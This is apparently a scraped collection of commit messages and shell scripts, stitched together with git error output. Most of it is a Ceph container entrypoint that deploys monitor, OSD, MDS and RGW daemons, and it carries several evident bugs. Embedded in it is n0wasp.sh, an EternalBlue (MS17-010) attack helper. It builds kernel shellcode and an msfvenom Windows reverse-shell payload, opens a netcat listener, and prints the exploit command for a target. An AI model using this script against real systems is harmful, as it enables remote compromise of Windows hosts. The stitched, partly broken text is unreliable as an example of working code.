Add argument parsing option for daemon selection

#!/bin/bash
set -e

: ${CLUSTER:=ceph}
: ${CEPH_CLUSTER_NETWORK:=${CEPH_PUBLIC_NETWORK}}
: ${MON_NAME:=$(hostname -s)}
: ${MDS_NAME:=$(hostname -s)}
: ${OSD_FORCE_ZAP:=1}
: ${OSD_JOURNAL_SIZE:=100}
: ${CEPHFS_CREATE:=0}
: ${CEPHFS_NAME:=cephfs}
: ${CEPHFS_DATA_POOL:=${CEPHFS_NAME}_data}
: ${CEPHFS_DATA_POOL_PG:=8}
: ${CEPHFS_METADATA_POOL:=${CEPHFS_NAME}_metadata}
: ${CEPHFS_METADATA_POOL_PG:=8}
: ${RGW_NAME:=$(hostname -s)}
: ${RGW_CIVETWEB_PORT:=80}
: ${RGW_CIVETWEB_PORT:=80}
: ${RGW_REMOTE_CGI:=0}
: ${RGW_REMOTE_CGI_PORT:=9000}
: ${RGW_REMOTE_CGI_HOST:=0.0.0.0}

function ceph_config_check {
if [[ ! -e /etc/ceph/${CLUSTER}.conf ]]; then
  echo "ERROR- /etc/ceph/ceph.conf must exist; get it from your existing mon"
  exit 1
fi
}

###############
# CEPH_DAEMON #
###############

# If we are given a valid first argument, set the
# CEPH_DAEMON variable from it
case "$1" in
   mds)
      CEPH_DAEMON=MDS
      ;;
   mon)
      CEPH_DAEMON=MON
      ;;
   osd)
      CEPH_DAEMON=OSD
      ;;
   osd_directory)
      CEPH_DAEMON=OSD_DIRECTORY
      ;;
   osd_ceph_disk)
      CEPH_DAEMON=OSD_CEPH_DISK
      ;;
   rgw)
      CEPH_DAEMON=RGW
      ;;
esac
if [ ! -n "$CEPH_DAEMON" ]; then
   echo "ERROR- One of CEPH_DAEMON or a daemon parameter must be defined as the name "
   echo "of the daemon you want to deploy."
   echo "Valid values for CEPH_DAEMON are MON, OSD_DIRECTORY, OSD_CEPH_DISK, MDS, RGW"
   echo "Valid values for the daemon parameter are mon, osd, osd_directory, osd_ceph_disk, mds, rgw"
   exit 1
fi

#######
# MON #
#######

if [[ "$CEPH_DAEMON" = "MON" ]]; then

  if [ ! -n "$CEPH_PUBLIC_NETWORK" ]; then
    echo "ERROR- CEPH_PUBLIC_NETWORK must be defined as the name of the network for the OSDs"
    exit 1
  fi

  if [ ! -n "$MON_IP" ]; then
    echo "ERROR- MON_IP must be defined as the IP address of the monitor"
    exit 1
  fi

  # bootstrap MON
  if [ ! -e /etc/ceph/${CLUSTER}.conf ]; then
    fsid=$(uuidgen)
    cat <<ENDHERE >/etc/ceph/${CLUSTER}.conf
[global]
fsid = $fsid
mon initial members = ${MON_NAME}
mon host = ${MON_IP}
auth cluster required = cephx
auth service required = cephx
auth client required = cephx
public network = ${CEPH_PUBLIC_NETWORK}
cluster network = ${CEPH_CLUSTER_NETWORK}
osd journal size = ${OSD_JOURNAL_SIZE}
ENDHERE

    # Generate administrator key
    ceph-authtool /etc/ceph/ceph.client.admin.keyring --create-keyring --gen-key -n client.admin --set-uid=0 --cap mon 'allow *' --cap osd 'allow *' --cap mds 'allow'

    # Generate the mon. key
    ceph-authtool /etc/ceph/ceph.mon.keyring --create-keyring --gen-key -n mon. --cap mon 'allow *'

    # Create bootstrap key directories
    mkdir -p /var/lib/ceph/bootstrap-{osd,mds,rgw}

    # Generate the OSD bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-osd/ceph.keyring --create-keyring --gen-key -n client.bootstrap-osd --cap mon 'allow profile bootstrap-osd'

    # Generate the MDS bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-mds/ceph.keyring --create-keyring --gen-key -n client.bootstrap-mds --cap mon 'allow profile bootstrap-mds'

    # Generate the RGW bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-rgw/ceph.keyring --create-keyring --gen-key -n client.bootstrap-rgw --cap mon 'allow profile bootstrap-rgw'

    # Generate initial monitor map
    monmaptool --create --add ${MON_NAME} ${MON_IP} --fsid ${fsid} /etc/ceph/monmap
  fi

  # If we don't have a monitor keyring, this is a new monitor
  if [ ! -e /var/lib/ceph/mon/ceph-${MON_NAME}/keyring ]; then

    if [ ! -e /etc/ceph/ceph.mon.keyring ]; then
      echo "ERROR- /etc/ceph/ceph.mon.keyring must exist.  You can extract it from your current monitor by running 'ceph auth get mon. -o /etc/ceph/ceph.mon.keyring'"
      exit 1
    fi

    if [ ! -e /etc/ceph/monmap ]; then
      echo "ERROR- /etc/ceph/monmap must exist.  You can extract it from your current monitor by running 'ceph mon getmap -o /etc/ceph/monmap'"
      exit 1
    fi

    # Testing if it's not the first monitor, if one key doesn't exist we assume none of them exist
    ceph-authtool /tmp/ceph.mon.keyring --create-keyring --import-keyring /etc/ceph/ceph.client.admin.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-osd/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-mds/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /etc/ceph/ceph.mon.keyring

    # Make the monitor directory
    mkdir -p /var/lib/ceph/mon/ceph-${MON_NAME}

    # Prepare the monitor daemon's directory with the map and keyring
    ceph-mon --mkfs -i ${MON_NAME} --monmap /etc/ceph/monmap --keyring /tmp/ceph.mon.keyring

    # Clean up the temporary key
    rm /tmp/ceph.mon.keyring
  fi

  # start MON
  exec /usr/bin/ceph-mon -d -i ${MON_NAME} --public-addr ${MON_IP}:6789
fi

#################
# OSD_DIRECTORY #
#################

if [[ "$CEPH_DAEMON" = "OSD_DIRECTORY" ]]; then

  ceph_config_check

  if [ -n "$(find /var/lib/ceph/osd -prune -empty)" ]; then
    echo "ERROR- could not find any OSD, did you bind mount the OSD data directory?"
    echo "ERROR- use -v <host_osd_data_dir>:<container_osd_data_dir>"
    exit 1
  fi

  for OSD_ID in $(ls /var/lib/ceph/osd |  awk 'BEGIN { FS = "-" } ; { print $2 }')
  do
    if [ -n "${JOURNAL_DIR}" ]; then
       OSD_J="${JOURNAL_DIR}/journal.${OSD_ID}"
    else
       if [ -n "${JOURNAL}" ]; then
          OSD_J=${JOURNAL}
       else
          OSD_J=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/journal
       fi
    fi

    # Check to see if our OSD has been initialized
    if [ ! -e /var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring ]; then
      # Create OSD key and file structure
      ceph-osd -i $OSD_ID --mkfs --mkjournal --osd-journal ${OSD_J}

      if [ ! -e /var/lib/ceph/bootstrap-osd/ceph.keyring ]; then
        echo "ERROR- /var/lib/ceph/bootstrap-osd/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-osd -o /var/lib/ceph/bootstrap-osd/ceph.keyring'"
        exit 1
      fi

      timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring health || exit 1

      # Generate the OSD key
      ceph --cluster ${CLUSTER} --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring auth get-or-create osd.${OSD_ID} osd 'allow *' mon 'allow profile osd' -o /var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring

      # Add the OSD to the CRUSH map
      if [ ! -n "${HOSTNAME}" ]; then
        echo "HOSTNAME not set; cannot add OSD to CRUSH map"
        exit 1
      fi
      ceph --name=osd.${OSD_ID} --keyring=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring osd crush create-or-move -- ${OSD_ID} ${OSD_WEIGHT} root=default host=${HOSTNAME}
    fi

    mkdir -p /etc/service/ceph-${OSD_ID}
    cat >/etc/service/ceph-${OSD_ID}/run <<EOF
#!/bin/bash
echo "store-daemon: starting daemon on ${HOSTNAME}..."
exec ceph-osd -f -d -i ${OSD_ID} --osd-journal ${OSD_J} -k /var/lib/ceph/osd/ceph-${OSD_ID}/keyring
EOF
    chmod +x /etc/service/ceph-${OSD_ID}/run
  done

read

#################
# OSD_CEPH_DISK #
#################

elif [[ "$CEPH_DAEMON" = "OSD_CEPH_DISK" ]]; then

  ceph_config_check

  if [[ -z "${OSD_DEVICE}" ]];then
    echo "ERROR- You must provide a device to build your OSD ie: /dev/sdb"
    exit 1
  fi

  if [ ! -e /var/lib/ceph/bootstrap-osd/ceph.keyring ]; then
    echo "ERROR- /var/lib/ceph/bootstrap-ods/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-ods -o /var/lib/ceph/bootstrap-ods/ceph.keyring'"
    exit 1
  fi

  timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring health || exit 1

  mkdir -p /var/lib/ceph/osd

  # TODO:
  # -  add device format check (make sure only one device is passed

  if [[ "$(sudo parted --script ${OSD_DEVICE} print | egrep '^ 1.*ceph data')" ]]; then
    echo "ERROR- It looks like this device is an OSD, use OSD_FORCE_ZAP to use this device"
    exit 1
  elif [[ "$(sudo parted --script ${OSD_DEVICE} print | egrep '^ 1.*ceph data')" && ${OSD_FORCE_ZAP} -eq "1" ]]; then
    ceph-disk -v zap ${OSD_DEVICE}
  fi

  if [[ ! -z "${OSD_JOURNAL}" ]]; then
    ceph-disk -v prepare ${OSD_DEVICE}:${OSD_JOURNAL}
  else
    ceph-disk -v prepare ${OSD_DEVICE}
  fi

  ceph-disk -v activate ${OSD_DEVICE}1
  OSD_ID=$(cat /var/lib/ceph/osd/$(ls -ltr /var/lib/ceph/osd/ | tail -n1 | awk -v pattern="$CLUSTER" '$0 ~ pattern {print $9}')/whoami)
  OSD_WEIGHT=$(df -P -k /var/lib/ceph/osd/${CLUSTER}-$OSD_ID/ | tail -1 | awk '{ d= $2/1073741824 ; r = sprintf("%.2f", d); print r }')
  ceph --name=osd.${OSD_ID} --keyring=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring osd crush create-or-move -- ${OSD_ID} ${OSD_WEIGHT} root=default host=$(hostname)

  exec /usr/bin/ceph-osd -f -d -i ${OSD_ID}

#######
# MDS #
#######

elif [[ "$CEPH_DAEMON" = "MDS" ]]; then

  ceph_config_check

  # Check to see if we are a new MDS
  if [ ! -e /var/lib/ceph/mds/ceph-${MDS_NAME}/keyring ]; then

     mkdir -p /var/lib/ceph/mds/ceph-${MDS_NAME}

    if [ ! -e /var/lib/ceph/bootstrap-mds/ceph.keyring ]; then
      echo "ERROR- /var/lib/ceph/bootstrap-mds/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-mds -o /var/lib/ceph/bootstrap-mds/ceph.keyring'"
      exit 1
    fi

    timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring health || exit 1

    # Generate the MDS key
    ceph --cluster ${CLUSTER} --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring auth get-or-create mds.$MDS_NAME osd 'allow rwx' mds 'allow' mon 'allow profile mds' > /var/lib/ceph/mds/ceph-${MDS_NAME}/keyring

  fi

  # NOTE (leseb): having the admin keyring is really a security issue
  # If we need to bootstrap a MDS we should probably create the following on the monitors
  # I understand that this handy to do this here
  # but having the admin key inside every container is a concern

  # Create the Ceph filesystem, if necessary
  if [ $CEPHFS_CREATE -eq 1 ]; then
    if [[ ! -e /etc/ceph/ceph.client.admin.keyring ]]; then
      echo "ERROR- /etc/ceph/ceph.client.admin.keyring must exist; get it from your existing mon"
      exit 1
    fi
    if [[ "$(ceph fs ls | grep -c name:.${CEPHFS_NAME},)" -eq "0" ]]; then
       # Make sure the specified data pool exists
       if ! ceph osd pool stats ${CEPHFS_DATA_POOL} > /dev/null 2>&1; then
          ceph osd pool create ${CEPHFS_DATA_POOL} ${CEPHFS_DATA_POOL_PG}
       fi

       # Make sure the specified metadata pool exists
       if ! ceph osd pool stats ${CEPHFS_METADATA_POOL} > /dev/null 2>&1; then
          ceph osd pool create ${CEPHFS_METADATA_POOL} ${CEPHFS_METADATA_POOL_PG}
       fi

       ceph fs new ${CEPHFS_NAME} ${CEPHFS_METADATA_POOL} ${CEPHFS_DATA_POOL}
    fi
  fi

  # NOTE: prefixing this with exec causes it to die (commit suicide)
  /usr/bin/ceph-mds -d -i ${MDS_NAME}

#######
# RGW #
#######

elif [[ "$CEPH_DAEMON" = "RGW" ]]; then

  ceph_config_check

  # Check to see if our RGW has been initialized
  if [ ! -e /var/lib/ceph/radosgw/${RGW_NAME}/keyring ]; then

    mkdir -p /var/lib/ceph/radosgw/${RGW_NAME}

    if [ ! -e /var/lib/ceph/bootstrap-rgw/ceph.keyring ]; then
      echo "ERROR- /var/lib/ceph/bootstrap-rgw/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-rgw -o /var/lib/ceph/bootstrap-rgw/ceph.keyring'"
      exit 1
    fi

    timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-rgw --keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring health || exit 1

    # Generate the RGW key
    ceph --cluster ${CLUSTER} --name client.bootstrap-rgw --keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring auth get-or-create client.rgw.${RGW_NAME} osd 'allow rwx' mon 'allow rw' -o /var/lib/ceph/radosgw/${RGW_NAME}/keyring
  fi

  if [ "$RGW_REMOTE_CGI" -eq 1 ]; then
    /usr/bin/radosgw -d -c /etc/ceph/ceph.conf -n client.rgw.${RGW_NAME} -k /var/lib/ceph/radosgw/$RGW_NAME/keyring --rgw-socket-path="" --rgw-frontends="fastcgi socket_port=$RGW_REMOTE_CGI_PORT socket_host=$RGW_REMOTE_CGI_HOST"
  else
    /usr/bin/radosgw -d -c /etc/ceph/ceph.conf -n client.rgw.${RGW_NAME} -k /var/lib/ceph/radosgw/$RGW_NAME/keyring --rgw-socket-path="" --rgw-frontends="civetweb port=$RGW_CIVETWEB_PORT"
  fi

###########
# UNKNOWN #
###########

else

  echo "ERROR- Unrecognized daemon type."
  echo "Valid values for CEPH_DAEMON are MON, OSD_DIRECTORY, OSD_CEPH_DISK, MDS, RGW"
  exit 1
fi

#!/bin/bash
set -e

: ${CLUSTER:=ceph}
: ${CEPH_CLUSTER_NETWORK:=${CEPH_PUBLIC_NETWORK}}
: ${MON_NAME:=$(hostname -s)}
: ${MDS_NAME:=$(hostname -s)}
: ${OSD_FORCE_ZAP:=1}
: ${OSD_JOURNAL_SIZE:=100}
: ${CEPHFS_CREATE:=0}
: ${CEPHFS_NAME:=cephfs}
: ${CEPHFS_DATA_POOL:=${CEPHFS_NAME}_data}
: ${CEPHFS_DATA_POOL_PG:=8}
: ${CEPHFS_METADATA_POOL:=${CEPHFS_NAME}_metadata}
: ${CEPHFS_METADATA_POOL_PG:=8}
: ${RGW_NAME:=$(hostname -s)}
: ${RGW_CIVETWEB_PORT:=80}
: ${RGW_CIVETWEB_PORT:=80}
: ${RGW_REMOTE_CGI:=0}
: ${RGW_REMOTE_CGI_PORT:=9000}
: ${RGW_REMOTE_CGI_HOST:=0.0.0.0}

if [ ! -n "$CEPH_DAEMON" ]; then
   echo "ERROR- CEPH_DAEMON must be defined as the name of the daemon you want to deploy"
   echo "Valid values for CEPH_DAEMON are MON, OSD_DIRECTORY, OSD_CEPH_DISK, MDS, RGW"
   exit 1
fi

function ceph_config_check {
if [[ ! -e /etc/ceph/${CLUSTER}.conf ]]; then
  echo "ERROR- /etc/ceph/ceph.conf must exist; get it from your existing mon"
  exit 1
fi
}

#######
# MON #
#######

if [[ "$CEPH_DAEMON" = "MON" ]]; then

  if [ ! -n "$CEPH_PUBLIC_NETWORK" ]; then
    echo "ERROR- CEPH_PUBLIC_NETWORK must be defined as the name of the network for the OSDs"
    exit 1
  fi

  if [ ! -n "$MON_IP" ]; then
    echo "ERROR- MON_IP must be defined as the IP address of the monitor"
    exit 1
  fi

  # bootstrap MON
  if [ ! -e /etc/ceph/${CLUSTER}.conf ]; then
    fsid=$(uuidgen)
    cat <<ENDHERE >/etc/ceph/${CLUSTER}.conf
[global]
fsid = $fsid
mon initial members = ${MON_NAME}
mon host = ${MON_IP}
auth cluster required = cephx
auth service required = cephx
auth client required = cephx
public network = ${CEPH_PUBLIC_NETWORK}
cluster network = ${CEPH_CLUSTER_NETWORK}
osd journal size = ${OSD_JOURNAL_SIZE}
ENDHERE

    # Generate administrator key
    ceph-authtool /etc/ceph/ceph.client.admin.keyring --create-keyring --gen-key -n client.admin --set-uid=0 --cap mon 'allow *' --cap osd 'allow *' --cap mds 'allow'

    # Generate the mon. key
    ceph-authtool /etc/ceph/ceph.mon.keyring --create-keyring --gen-key -n mon. --cap mon 'allow *'

    # Create bootstrap key directories
    mkdir -p /var/lib/ceph/bootstrap-{osd,mds,rgw}

    # Generate the OSD bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-osd/ceph.keyring --create-keyring --gen-key -n client.bootstrap-osd --cap mon 'allow profile bootstrap-osd'

    # Generate the MDS bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-mds/ceph.keyring --create-keyring --gen-key -n client.bootstrap-mds --cap mon 'allow profile bootstrap-mds'

    # Generate the RGW bootstrap key
    ceph-authtool /var/lib/ceph/bootstrap-rgw/ceph.keyring --create-keyring --gen-key -n client.bootstrap-rgw --cap mon 'allow profile bootstrap-rgw'

    # Generate initial monitor map
    monmaptool --create --add ${MON_NAME} ${MON_IP} --fsid ${fsid} /etc/ceph/monmap
  fi

  # If we don't have a monitor keyring, this is a new monitor
  if [ ! -e /var/lib/ceph/mon/ceph-${MON_NAME}/keyring ]; then

    if [ ! -e /etc/ceph/ceph.mon.keyring ]; then
      echo "ERROR- /etc/ceph/ceph.mon.keyring must exist.  You can extract it from your current monitor by running 'ceph auth get mon. -o /etc/ceph/ceph.mon.keyring'"
      exit 1
    fi

    if [ ! -e /etc/ceph/monmap ]; then
      echo "ERROR- /etc/ceph/monmap must exist.  You can extract it from your current monitor by running 'ceph mon getmap -o /etc/ceph/monmap'"
      exit 1
    fi

    # Testing if it's not the first monitor, if one key doesn't exist we assume none of them exist
    ceph-authtool /tmp/ceph.mon.keyring --create-keyring --import-keyring /etc/ceph/ceph.client.admin.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-osd/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-mds/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring
    ceph-authtool /tmp/ceph.mon.keyring --import-keyring /etc/ceph/ceph.mon.keyring

    # Make the monitor directory
    mkdir -p /var/lib/ceph/mon/ceph-${MON_NAME}

    # Prepare the monitor daemon's directory with the map and keyring
    ceph-mon --mkfs -i ${MON_NAME} --monmap /etc/ceph/monmap --keyring /tmp/ceph.mon.keyring

    # Clean up the temporary key
    rm /tmp/ceph.mon.keyring
  fi

  # start MON
  exec /usr/bin/ceph-mon -d -i ${MON_NAME} --public-addr ${MON_IP}:6789
fi

#################
# OSD_DIRECTORY #
#################

if [[ "$CEPH_DAEMON" = "OSD_DIRECTORY" ]]; then

  ceph_config_check

  if [ -n "$(find /var/lib/ceph/osd -prune -empty)" ]; then
    echo "ERROR- could not find any OSD, did you bind mount the OSD data directory?"
    echo "ERROR- use -v <host_osd_data_dir>:<container_osd_data_dir>"
    exit 1
  fi

  for OSD_ID in $(ls /var/lib/ceph/osd |  awk 'BEGIN { FS = "-" } ; { print $2 }')
  do
    if [ -n "${JOURNAL_DIR}" ]; then
       OSD_J="${JOURNAL_DIR}/journal.${OSD_ID}"
    else
       if [ -n "${JOURNAL}" ]; then
          OSD_J=${JOURNAL}
       else
          OSD_J=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/journal
       fi
    fi

    # Check to see if our OSD has been initialized
    if [ ! -e /var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring ]; then
      # Create OSD key and file structure
      ceph-osd -i $OSD_ID --mkfs --mkjournal --osd-journal ${OSD_J}

      if [ ! -e /var/lib/ceph/bootstrap-osd/ceph.keyring ]; then
        echo "ERROR- /var/lib/ceph/bootstrap-osd/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-osd -o /var/lib/ceph/bootstrap-osd/ceph.keyring'"
        exit 1
      fi

      timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring health || exit 1

      # Generate the OSD key
      ceph --cluster ${CLUSTER} --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring auth get-or-create osd.${OSD_ID} osd 'allow *' mon 'allow profile osd' -o /var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring

      # Add the OSD to the CRUSH map
      if [ ! -n "${HOSTNAME}" ]; then
        echo "HOSTNAME not set; cannot add OSD to CRUSH map"
        exit 1
      fi
      ceph --name=osd.${OSD_ID} --keyring=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring osd crush create-or-move -- ${OSD_ID} ${OSD_WEIGHT} root=default host=${HOSTNAME}
    fi

    mkdir -p /etc/service/ceph-${OSD_ID}
    cat >/etc/service/ceph-${OSD_ID}/run <<EOF
#!/bin/bash
echo "store-daemon: starting daemon on ${HOSTNAME}..."
exec ceph-osd -f -d -i ${OSD_ID} --osd-journal ${OSD_J} -k /var/lib/ceph/osd/ceph-${OSD_ID}/keyring
EOF
    chmod +x /etc/service/ceph-${OSD_ID}/run
  done

read

#################
# OSD_CEPH_DISK #
#################

elif [[ "$CEPH_DAEMON" = "OSD_CEPH_DISK" ]]; then

  ceph_config_check

  if [[ -z "${OSD_DEVICE}" ]];then
    echo "ERROR- You must provide a device to build your OSD ie: /dev/sdb"
    exit 1
  fi

  if [ ! -e /var/lib/ceph/bootstrap-osd/ceph.keyring ]; then
    echo "ERROR- /var/lib/ceph/bootstrap-ods/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-ods -o /var/lib/ceph/bootstrap-ods/ceph.keyring'"
    exit 1
  fi

  timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-osd --keyring /var/lib/ceph/bootstrap-osd/ceph.keyring health || exit 1

  mkdir -p /var/lib/ceph/osd

  # TODO:
  # -  add device format check (make sure only one device is passed

  if [[ "$(sudo parted --script ${OSD_DEVICE} print | egrep '^ 1.*ceph data')" ]]; then
    echo "ERROR- It looks like this device is an OSD, use OSD_FORCE_ZAP to use this device"
    exit 1
  elif [[ "$(sudo parted --script ${OSD_DEVICE} print | egrep '^ 1.*ceph data')" && ${OSD_FORCE_ZAP} -eq "1" ]]; then
    ceph-disk -v zap ${OSD_DEVICE}
  fi

  if [[ ! -z "${OSD_JOURNAL}" ]]; then
    ceph-disk -v prepare ${OSD_DEVICE}:${OSD_JOURNAL}
  else
    ceph-disk -v prepare ${OSD_DEVICE}
  fi

  ceph-disk -v activate ${OSD_DEVICE}1
  OSD_ID=$(cat /var/lib/ceph/osd/$(ls -ltr /var/lib/ceph/osd/ | tail -n1 | awk -v pattern="$CLUSTER" '$0 ~ pattern {print $9}')/whoami)
  OSD_WEIGHT=$(df -P -k /var/lib/ceph/osd/${CLUSTER}-$OSD_ID/ | tail -1 | awk '{ d= $2/1073741824 ; r = sprintf("%.2f", d); print r }')
  ceph --name=osd.${OSD_ID} --keyring=/var/lib/ceph/osd/${CLUSTER}-${OSD_ID}/keyring osd crush create-or-move -- ${OSD_ID} ${OSD_WEIGHT} root=default host=$(hostname)

  exec /usr/bin/ceph-osd -f -d -i ${OSD_ID}

#######
# MDS #
#######

elif [[ "$CEPH_DAEMON" = "MDS" ]]; then

  ceph_config_check

  # Check to see if we are a new MDS
  if [ ! -e /var/lib/ceph/mds/ceph-${MDS_NAME}/keyring ]; then

     mkdir -p /var/lib/ceph/mds/ceph-${MDS_NAME}

    if [ ! -e /var/lib/ceph/bootstrap-mds/ceph.keyring ]; then
      echo "ERROR- /var/lib/ceph/bootstrap-mds/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-mds -o /var/lib/ceph/bootstrap-mds/ceph.keyring'"
      exit 1
    fi

    timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring health || exit 1

    # Generate the MDS key
    ceph --cluster ${CLUSTER} --name client.bootstrap-mds --keyring /var/lib/ceph/bootstrap-mds/ceph.keyring auth get-or-create mds.$MDS_NAME osd 'allow rwx' mds 'allow' mon 'allow profile mds' > /var/lib/ceph/mds/ceph-${MDS_NAME}/keyring

  fi

  # NOTE (leseb): having the admin keyring is really a security issue
  # If we need to bootstrap a MDS we should probably create the following on the monitors
  # I understand that this handy to do this here
  # but having the admin key inside every container is a concern

  # Create the Ceph filesystem, if necessary
  if [ $CEPHFS_CREATE -eq 1 ]; then
    if [[ ! -e /etc/ceph/ceph.client.admin.keyring ]]; then
      echo "ERROR- /etc/ceph/ceph.client.admin.keyring must exist; get it from your existing mon"
      exit 1
    fi
    if [[ "$(ceph fs ls | grep -c name:.${CEPHFS_NAME},)" -eq "0" ]]; then
       # Make sure the specified data pool exists
       if ! ceph osd pool stats ${CEPHFS_DATA_POOL} > /dev/null 2>&1; then
          ceph osd pool create ${CEPHFS_DATA_POOL} ${CEPHFS_DATA_POOL_PG}
       fi

       # Make sure the specified metadata pool exists
       if ! ceph osd pool stats ${CEPHFS_METADATA_POOL} > /dev/null 2>&1; then
          ceph osd pool create ${CEPHFS_METADATA_POOL} ${CEPHFS_METADATA_POOL_PG}
       fi

       ceph fs new ${CEPHFS_NAME} ${CEPHFS_METADATA_POOL} ${CEPHFS_DATA_POOL}
    fi
  fi

  # NOTE: prefixing this with exec causes it to die (commit suicide)
  /usr/bin/ceph-mds -d -i ${MDS_NAME}

#######
# RGW #
#######

elif [[ "$CEPH_DAEMON" = "RGW" ]]; then

  ceph_config_check

  # Check to see if our RGW has been initialized
  if [ ! -e /var/lib/ceph/radosgw/${RGW_NAME}/keyring ]; then

    mkdir -p /var/lib/ceph/radosgw/${RGW_NAME}

    if [ ! -e /var/lib/ceph/bootstrap-rgw/ceph.keyring ]; then
      echo "ERROR- /var/lib/ceph/bootstrap-rgw/ceph.keyring must exist. You can extract it from your current monitor by running 'ceph auth get client.bootstrap-rgw -o /var/lib/ceph/bootstrap-rgw/ceph.keyring'"
      exit 1
    fi

    timeout 10 --cluster ${CLUSTER} ceph --name client.bootstrap-rgw --keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring health || exit 1

    # Generate the RGW key
    ceph --cluster ${CLUSTER} --name client.bootstrap-rgw --keyring /var/lib/ceph/bootstrap-rgw/ceph.keyring auth get-or-create client.rgw.${RGW_NAME} osd 'allow rwx' mon 'allow rw' -o /var/lib/ceph/radosgw/${RGW_NAME}/keyring
  fi

  if [ "$RGW_REMOTE_CGI" -eq 1 ]; then
    /usr/bin/radosgw -d -c /etc/ceph/ceph.conf -n client.rgw.${RGW_NAME} -k /var/lib/ceph/radosgw/$RGW_NAME/keyring --rgw-socket-path="" --rgw-frontends="fastcgi socket_port=$RGW_REMOTE_CGI_PORT socket_host=$RGW_REMOTE_CGI_HOST"
  else
    /usr/bin/radosgw -d -c /etc/ceph/ceph.conf -n client.rgw.${RGW_NAME} -k /var/lib/ceph/radosgw/$RGW_NAME/keyring --rgw-socket-path="" --rgw-frontends="civetweb port=$RGW_CIVETWEB_PORT"
  fi

###########
# UNKNOWN #
###########

else

  echo "ERROR- Unrecognized daemon type."
  echo "Valid values for CEPH_DAEMON are MON, OSD_DIRECTORY, OSD_CEPH_DISK, MDS, RGW"
  exit 1
fi


Create n0wasp.sh

Create n0wasp.sh

#!/bin/bash

read $arch
read $IPAddr
read $localport

cd ~
git clone https://github.com/worawit/MS17-010.git

path=$(find -name "shellcode" | grep 'MS17-010')
match="/"
occurrence=$(grep -o "$match" <<< $var | wc -l)
dir=$(echo $var | cut -d"/" -f1-$occurrence)
cd $dir

payload=""
ASM=""
nonASM=""

if [[ $arch = 86 ]]; then
    payload="windows/shell_reverse_tcp";
    ASM="shellcode/eternalblue_kshellcode_x86.asm"
    nonASM="shellcode/eternalblue_kshellcode_x86"
else
    payload="windows/x64/shell_reverse_tcp";
    ASM="shellcode/eternalblue_kshellcode_x64.asm"
    nonASM="shellcode/eternalblue_kshellcode_x64"
fi

nasm -f bin shellcode/eternalblue_kshellcode_x${arch}.asm
msfvenom -p ${payload} -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=${IPAddr} LPORT=${localport}
cat $nonASM meterpreter_msf.bin > sc_x${arch}.bin

screen -S MS17-010 -dm "nc -nlvp ${localport}"
sessionlist=$(screen -ls)

cmd="python eternalblue_exploit7.py ${targetIP} ${dir}/shellcode/sc_x${arch}.bin"
echo $'\n'
echo "[ + ]  Netcat Listener is UP and running in a screen session: "
echo $sessionlist
echo $'\n'
echo "[ + ]  Here's your command to execute:  ${cmd}"

error: pathspec 'n0wasp.sh' did not match any file(s) known to git


Add test-format.sh

Add test-format.sh

#!/usr/bin/env bash

filelist=$(find $1 -type f -name "*.clj")

for f in $filelist
do
  ./joker --format $f > /tmp/joker-format.clj
  cat /tmp/joker-format.clj > $f
done

error: pathspec 'test-format.sh' did not match any file(s) known to git


Added build.sh script

Added build.sh script

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/cityos/CoreCityOS.git/'


build.sh

build.sh

